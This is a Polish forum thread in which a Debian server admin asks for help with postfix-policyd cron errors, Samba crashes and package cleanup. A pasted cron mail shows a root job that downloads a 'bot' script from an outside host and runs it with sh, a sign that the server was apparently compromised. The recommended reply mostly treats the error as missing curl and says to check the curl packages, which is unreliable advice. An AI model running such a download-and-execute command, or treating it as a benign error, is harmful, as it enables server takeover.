szymon130 utworzono 2 października 2014 utworzono 2 października 2014 Witam. Posiadam serwer Debian na którym znajdue się: - PHP, apache2, FTP - Postfix - Samba - Webmin Mam 2 pytania po pierwsze: po komendzie apt-get install -f wyskakuje mi: The following packages were automatically installed and are no longer required: libnet-daemon-perl libplrpc-perl Aby je usunąć należy użyć "apt-get autoremove". 0 aktualizowanych, 0 nowo instalowanych, 0 usuwanych i 1 nieaktualizowanych. Czy usunięcie tych pakietów nie spowoduje problemów z Postfix albo Webmin? Pytanie nr.2 Root otrzymuje błędy: run-parts: /etc/cron.daily/postfix-policyd exited with return code 255 The Samba 'panic action' script, /usr/share/samba/panic-action, was called for PID 17964 (). This means there was a problem with the program, such as a segfault. However, the executable could not be found for process 17964. It may have died unexpectedly, or you may not have permission to debug the process. Bardzo dawmo temu miałem duże problemy z sambą, co kilka sekund crontab wykonywał zadanie dla samby które ulegało niepowodzeniu. Przez to tworzył się niewiarygodny spam aby go zablokować (sposób głupi) usunąłem zadanie z crontab które powodowało błąd. Dzięki temu problem samby pojawiał się tylko przy restartowaniu maszyny. Ja tej samby wogóle nie potrzebuje, a nie usuwałem jej ponieważ nie ja ją instalowałem (nie znam się na sambie) i nie wiem czy po usunięciu jej nie będę miał problemów z postfix albo webminem? Serwer działa tak od kilku lat, są na nim ważne pliki i nie mogę sobie pozwolić na operacje bez przemyślenia. Pozdraiwam i liczę na mądre odpowiedzi. 1
robin3d komentarz 2 października 2014 komentarz 2 października 2014 po komendzie apt-get install -f wyskakuje mi: The following packages were automatically installed and are no longer required: libnet-daemon-perl libplrpc-perl Aby je usunąć należy użyć "apt-get autoremove". 0 aktualizowanych, 0 nowo instalowanych, 0 usuwanych i 1 nieaktualizowanych. Czy usunięcie tych pakietów nie spowoduje problemów z Postfix albo Webmin? Nie bój się, pisze tam, że te pakiety nie są używane. Jak będziesz usuwał to popatrz na to co w rzeczywistości usuwa.
MasterYoghourt komentarz 4 października 2014 komentarz 4 października 2014 A profilaktycznie ściągnij sobie te dwie paczki, przed odinstalowaniem. /etc/cron.daily/postfix-policyd exited with return code 255 Proces postfix-policyd jest odpwoedzialny za kontrolę spamu. Z tego co wyczytałem Cron uruchamia cyklicznie ten proces by wyczyścił nie aktualne dane tego procesu, w bazie danych. Błąd ktory ci wyświetla może być związany z problemem połączenia do bazy danych (albo baza danych nie startuje, albo masz błędne dane połaczenia z nią, albo nie istnieje takowa baza lub użytkownik postfix-policy w serwerze bazy danych MySQL). W skrypcie konfiguracyjnym /etc/postfix-policyd.conf, powinna być informacja z jaką bazą i na jakim porcie łączy się. Zweryfikuj czy dane w tym skrypcie są poprawne. Poza tym, odsyłam do tej dyskusji (użyj translate.google.pl, jeśli nie radzisz sobie z angielskim): http://www.iredmail.org/forum/topic610-iredmail-support-problem-with-postfixpolicyd-bug.html Jeśli chodzi o serwer Samby to służy on do udostępniania plików, drukarek dla klientów z Windows (serwer plików). Jeśli nikt z niego nie korzysta to możesz go usunąć, ale wpierw sprawdź czy nie udostępnia on jakiś zasobow w pliku smb.conf. Tutaj masz nieco info na temat Samby: http://banita.pl/konf/smbudostunix.html Bo może się okazać, że pan prezes trzymał na nim swoją filmotekę, o tematyce dla dorosłych ;) i będzie nie miło, to wtedy lepiej mów że była awaria i wszystkie dane szlag trafił, i aby uniknąć takich przykrych niespodzianek w przyszłości, zasugeruj potrzebę większych inwestycji w infrastrukturę działu IT ;) The Samba 'panic action' script, /usr/share/samba/panic-action,was called for PID 17964 ().This means there was a problem with the program, such as a segfault.However, the executable could not be found for process 17964.It may have died unexpectedly, or you may not have permission to debug the process. Jeśli chodzi o sam błąd Samby, to z tego co się doczytałem, aktualizacja pakietów Samby, powinna załatwić sprawę. 1
MasterYoghourt komentarz 6 października 2014 komentarz 6 października 2014 (edytowane) A i jeszcze jedna cenna rada, dla każdego administratora. Zanim zaczniesz robić cokolwiek, zrób sobie obraz całego dysku lub nawet sklonuj go na inny dysk. Byś w razie awarii, mógł w ciągu kilkudziesięciu sekund, przywrócić serwer do działania podłączając sklonowany dysk. 1
szymon130 komentarz 6 października 2014 Autor komentarz 6 października 2014 (edytowane) Proces postfix-policyd jest odpwoedzialny za kontrolę spamu. Z tego co wyczytałem Cron uruchamia cyklicznie ten proces by wyczyścił nie aktualne dane tego procesu, w bazie danych. Błąd ktory ci wyświetla może być związany z problemem połączenia do bazy danych (albo baza danych nie startuje, albo masz błędne dane połaczenia z nią, albo nie istnieje takowa baza lub użytkownik postfix-policy w serwerze bazy danych MySQL). W skrypcie konfiguracyjnym /etc/postfix-policyd.conf, powinna być informacja z jaką bazą i na jakim porcie łączy się. Zweryfikuj czy dane w tym skrypcie są poprawne. Poza tym, odsyłam do tej dyskusji (użyj translate.google.pl, jeśli nie radzisz sobie z angielskim): http://www.iredmail.org/forum/topic610-iredmail-support-problem-with-postfixpolicyd-bug.html Oto plik postfix-policyd.conf ###################################################################### # POLICY DAEMON CONFIGURATION # ###################################################################### # DATABASE CONFIG # ###################################################################### # # ip address or hostname to connect to: # # if you want to connect to a host/ip, enter it here. # if you want to via a unix socket, set MYSQLHOST="" # MYSQLHOST="localhost" # # database name: # # name of database to connect to # MYSQLDBASE="" # # database username: # # username to connect to database as # MYSQLUSER="" # # database password: # # password to for username # MYSQLPASS="" # # connection options: # # what client side connections policyd will use> # # CLIENT_COMPRESS -> compress connection from policyd -> mysql # CLIENT_SSL -> encrypt connection from policyd -> mysql # MYSQLOPT="" # # failsafe/failover mode: default: on # # if the database or queries fail, continue accepting mail # # 1=on 0=off FAILSAFE=1 MasterYoghurt - Problem polega na tym że ja cały czas byłem odpowiedzialny za inne programy na serwerze, opieka nad użytkownikami. Pół roku temu odszedł główny administrator i teraz wszystko ciąży na mnie a ja po prostu nie jestem w stanie garnąć wszystkiego (może też dlatego że akurat ta strefa działania mnie wciąga zbytnio). Muszę sobie jakoś z tym wszystkim poradzić. W chwili obecnej na serwerze są potrzebne tylko: Serwer e-mail - obsługiwany przez webmin-a tylko i wyłącznie Apache2, PHP - strona www Mysql - nie korzystam Phpmyadmin - nie korzystam Programy główne które są niezależne od innych programów na serwerze. Nie potrzebują żadnych baz danych ani nic. Java - potrzebna do jednej rzeczy Na serwerze nie ma nic więcej. Chciałbym pozbyć się zbędnych rzeczy. Na serwerze działa prawidłowo e-mail i prawidłowo widać go w webminie. Mail server: Postfix Wszystkie pamiety są zaktualizowane. Błędy : Anacron job 'cron.daily' on %^&*( run-parts: /etc/cron.daily/postfix-policyd exited with return code 255 Oraz: Cron <root@xxx> curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh /bin/sh: curl: nie znaleziono polecenia --2014-10-05 00:00:01-- http://stablehost.us/bots/regular.bot Translacja stablehost.us... nieudane: Brak adresu związanego z nazwą hosta. wget: nie udało się rozwiązać adresu hosta `stablehost.us' 1
Rekomendowana odpowiedź MasterYoghourt komentarz 11 października 2014 Rekomendowana odpowiedź komentarz 11 października 2014 1. /bin/sh: curl: nie znaleziono polecenia Sprawdź czy masz pakiety curl i libcurl Po drugie, czy aby na pewno chcesz by strona stablehost.us była odpalona ? Ja bym się zastanowił, bo po jej otwarciu dosatłem ofertę kamperów do kupienia. 2. Sprawdź czy MySQL jest uruchomiony i czy nasłuchuje. 3. Następnie sprawdź jakich masz stworzonych użytkowników w MySQL, zobacz jakie masz bazy danych i tabele. Być może nie posiadasz w bazie prawidłowego użytkownika (typu postfix-policy), ani bazy danych. Użycie phpMyAdmin z pewnością ułatwiło by Ci kontrolę nad MySQL. W pliku konfiguracyjnym nie masz żadnych wpisów co do tych danych, puste pola. 4. Ciężko mi znaleźć dokumentację do tej usługi, by okreslić jakiego użytkownika, bazy i tabele masz stworzyć. 5. Myślę, że jeśli zależy Ci na tej usłudze, to przestudiuj te rozwiązanie dla postfix policy: http://www.howtoforge.com/postfix_spf 1
szymon130 komentarz 13 października 2014 Autor komentarz 13 października 2014 (edytowane) Witaj. Na szczęście zapadła decyzja o zmianie serwera. W tej chwili konfiguruje nowy serwer na Debian 6. Udało misię już uporać z webminem, PHPMyadmin, MySQL a postfix-a będę przenosił za kilka dni. Aktualnie wszystko przebiega dobrze. Nie mam żadnych błędów i podstawowa konfiguracja zakończona pomyślnie. Także w razie problemów napiszę. Dziękuję za pomoc. 1
Wciąż szukasz rozwiązania problemu? Napisz teraz na forum!
Możesz zadać pytanie bez konieczności rejestracji - wystarczy, że wypełnisz formularz.